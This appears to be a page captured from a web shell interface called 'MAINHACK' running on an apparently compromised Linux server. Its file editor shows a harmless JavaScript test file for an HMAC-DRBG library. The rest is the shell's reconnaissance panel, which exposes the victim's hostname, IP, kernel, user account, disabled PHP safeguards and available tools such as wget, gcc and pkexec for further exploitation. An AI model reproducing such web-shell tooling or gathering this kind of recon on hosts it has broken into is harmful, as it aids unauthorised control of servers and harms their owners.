[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: drbg-test.js
'use strict'; const assert = require('assert'); const HmacDRBG = require('../'); const hash = require('hash.js'); describe('Hmac_DRBG', () => { it('should support hmac-drbg-sha256', () => { function doDrbg(opt) { const drbg = HmacDRBG({ hash: hash.sha256, entropy: opt.entropy, entropyEnc: 'utf8', nonce: opt.nonce, nonceEnc: 'utf8', pers: opt.pers, persEnc: 'utf8' }); return drbg.generate(opt.size, 'hex'); } const test = [ { entropy: 'totally random0123456789', nonce: 'secret nonce', pers: 'my drbg', size: 32, res: '018ec5f8e08c41e5ac974eb129ac297c5388ee1864324fa13d9b15cf98d9a157' }, { entropy: 'totally random0123456789', nonce: 'secret nonce', pers: null, size: 32, res: 'ed5d61ecf0ef38258e62f03bbb49f19f2cd07ba5145a840d83b134d5963b3633' } ]; for (let i = 0; i < test.length; i++) assert.equal(doDrbg(test[i]), test[i].res); }); describe('NIST vector', function() { require('./fixtures/hmac-drbg-nist.json').forEach(function (opt) { it('should not fail at ' + opt.name, function() { const drbg = HmacDRBG({ hash: hash.sha256, entropy: opt.entropy, nonce: opt.nonce, pers: opt.pers }); let last; for (let i = 0; i < opt.add.length; i++) { let add = opt.add[i]; last = drbg.generate(opt.expected.length / 2, 'hex', add); } assert.equal(last, opt.expected); }); }); }); describe('reseeding', function() { it('should reseed', function() { const entropy = 'totally random string with many chars that I typed ' + 'in agony'; const nonce = 'nonce'; const pers = 'pers'; const original = HmacDRBG({ hash: hash.sha256, entropy, nonce, pers }); const reseeded = HmacDRBG({ hash: hash.sha256, entropy, nonce, pers }); assert.strictEqual(original.generate(32, 'hex'), reseeded.generate(32, 'hex')); reseeded.reseed('another absolutely random string'); assert.notEqual(original.generate(32, 'hex'), reseeded.generate(32, 'hex')); }); }); });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002